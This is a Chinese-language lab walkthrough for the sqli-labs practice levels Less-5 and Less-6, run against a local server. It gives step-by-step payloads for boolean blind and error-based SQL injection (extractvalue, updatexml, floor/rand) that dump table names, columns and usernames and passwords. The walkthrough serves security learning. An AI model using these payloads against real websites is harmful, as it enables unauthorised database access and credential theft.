目录
前言:
因为在less 5之后,注入稍加难度,所以我分开来写。
从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了。
Less-5
布尔盲注
布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功
1. 我们输入正确的id,显示You are in .....
1.我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态
所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。
布尔盲注思路:
判断数据库类型
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+
判断数据库
1:判断当前数据库的长度,利用二分法,多次尝试
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
...........
由此可以判断出当前数据库为 security
判断表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
判断字段
1:判断表中字段的个数
//判断users表中字段个数
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')=3 --+
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2 --+
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
由此可判断出users表中存在 id、username、password 字段
获取数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........
一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。
当然学习阶段自己手工注入是个很好的学习过程。
报错注入:
定义:
当网站的页面上没有显示位用于展示SQL语句执行后的结果,但是sql语句执行可以输出错误信息,那么攻击者可以利用注入过程中返回的错误信息进行判断。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
常用的函数:
前两种用法基本一致且简单。第三种有点难度
(1)extractvalue()
(2)updataxml()
(3)floor()
extractvalue()
extractvalue(xml_document,xpath_string)
xml_document:是xml文档对象的名称
xpath_string:是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。
payload:extractvalue(null,concat(0x7e,(sqli_inject),0x7e))
注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”-“号。
下面还以 less-5 为例
判断注入类型,字符型注入且没有显示位
Less-5/?id=1'
当前数据库、用户、版本:
当前数据库:
Less-5/?id=1' and extractvalue(null,concat(0x7e,database(),0x7e)) --+
当前用户:
Less-5/?id=1' and extractvalue(null,concat(0x7e,user(),0x7e)) --+
数据库版本:
Less-5/?id=1' and extractvalue(null,concat(0x7e,version(),0x7e)) --+
表:
Less-5/?id=1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) --+
字段:
Less-5/?id=1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) --+
数据:
注:我这里使用的 limit,因为返回字符长度限制在 32 位。
Less-5/?id=1' and extractvalue(null,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e)) --+
updatexml()
updatexml() 语法上与 extractvalue() 多了一个参数,其余用法一致。
updatexml(xml_document,xpath_string,new_value)
xml_document:xml文档名称
xpath_string :xpath格式字符串
new_value : string格式,替换查找到的符合条件的数据
作用是,改变文档中符合条件的节点的值
payload格式如下:
updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)
实验步骤不在演示,给出payload:
表:
sqli_inject = select group_concat(table_name) from information_schema.tables where table_schema='相应数据库名'
字段:
sqli_inject =select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='相应表名'
floor()
主要函数:
as:别名
count(*):汇总统计数量,返回表中的记录数,记录列名的行数,一般配合group by使用。
concat_ws()函数:将括号内数据用第一个字段连接起来(和concat差不多)
group by:分组排序。group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中。
limit:这里用于显示指定行数
floor():向下取整,即返回不大于x的最大整数值,比如floor(1.2)返回1。
rand():返回大于0,小于1的随机浮点数,一般配合floor来使用。rand(0)不是随机的,它会返回固定的小数,我们就是利用这个特性来进行注入。
floor(rand(0)*2):返回01序列
————————————————
>select rand();
>select rand()*2:计算结果在0-2之间
>select rand() from users; (users表有多少列,就输出几个随机数)
>select floor(rand()*2);
>select floor(rand()*2) from information_schema.tables;
>select concat_ws('~',2,3) 使用~连接2,3
> select concat_ws('~',(select database()),floor(rand()*2)) from users;
>select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a
把绿色部分取一个别名 a ,在使用group by 对a进行分组
>count(*) 统计数量
>select count(*),concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a
>select concat_ws('~',(select database()),floor(rand(0)*2)) as a from users group by a;
不管执行多次报错
>select concat_ws('~',(select database()),floor(rand(1)*2)) as a from users group by a;
永久不会报错,回显也不会变
数据库:
?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
表:
/?id=1' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
主键重复报错原理:
借阅文章链接:SQL 报错注入详解_陌兮_的博客-CSDN博客_报错注入
先看paylod 在进行分析
' union select 1,count(*),concat(floor(rand(0)*2),database())x from `users` group by x %23
这个就是把发生报错的 select 作为一个子查询,外面有一个 select 1,2,3 from 子查询 (1,2,3 是为了与union 前面的字段数保持一致,上面的 payload 多加了一个 1,也是同理)
这里的 payload 可能是考虑到 MySQL Group By 中 Select 指定的字段限制,在select指定的字段要么就要包含在Group By 语句的后面,作为分组的依据;要么就要被包含在聚合函数中。
————————————————floor(rand(0)*2)
的目的:为了产生固定顺序的 0 、1 数
产生这些 0 1数有什么用处呢?接下来就与 MySQL 的 group by 有关了
先把 payload 中关键的部分,也就是发生报错的 select 语句粘到 sqlyog 中执行一下,发现报错信息是 “Duplicate entry ‘1security’ for key ‘<group_key>’ ”,就是主键重复,主键必须是非空且不能重复的。
group by key 的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则不在临时表中更新临时表的数据;如果 key 不在临时表中,则在临时表中插入 key 所在行的数据。
这个临时表的主键就是 group by 后面的字段 x ,x 仅仅是 concat(floor(rand(0)*2),database()) 的别名,这样我们就基本弄清报错的原因了,其原因主要是因为临时表的主键 x 重复。在这里 group by 要对 x 进行两次运算,也就是要调用两次 rand(0) ,第一次是拿 group by 后面的字段值到临时表中去对比前,首先获取group by后面的值,这时用 concat(floor(rand(0)*2),database()) 计算出第一个 x 值;第二次是用 group by 后面的字段的值在临时表中查找,如果存在于表中,就不需要更改临时表,如果不存在与临时表中,那就需要把它插入到临时表中,这里在插入时会进行第二次运算,由于 rand() 函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在临时表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
为什么要有聚集函数 count(*) ?
如果没有聚集函数 count(*) ,并不报错。
至于原因,我也查找了很多关于 group by 的实现原理,感觉都不能很好的解释,所以这里又是一个未解决的问题。(上面的 group by 原理来源于参考文章,是否正确有待验证。)
用上面的 payload concat(floor(rand(0)*2),database()) 来举例
floor(rand(0)*2) 产生的前五个数比如:01101,后面再拼接上 database(),这个是固定值,先不用管。接下来模拟下 group by 过程,遍历 users 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;遍历到第二行,计算出一个 x=1security,临时表中已经存在,继续遍历;遍历到第三行,计算出一个 x=0security,发现表中没有,再次计算 x 然后插入 x=1security,因为刚才已经插入过一个 1security,所以这时就发生主键重复。然后把 1security 作为报错信息输出,攻击者便可得到相关信息。
Less-6
判断注入点
less-6 和 less-5 整个通关过程基本一致,后面就按less-5 来就行了。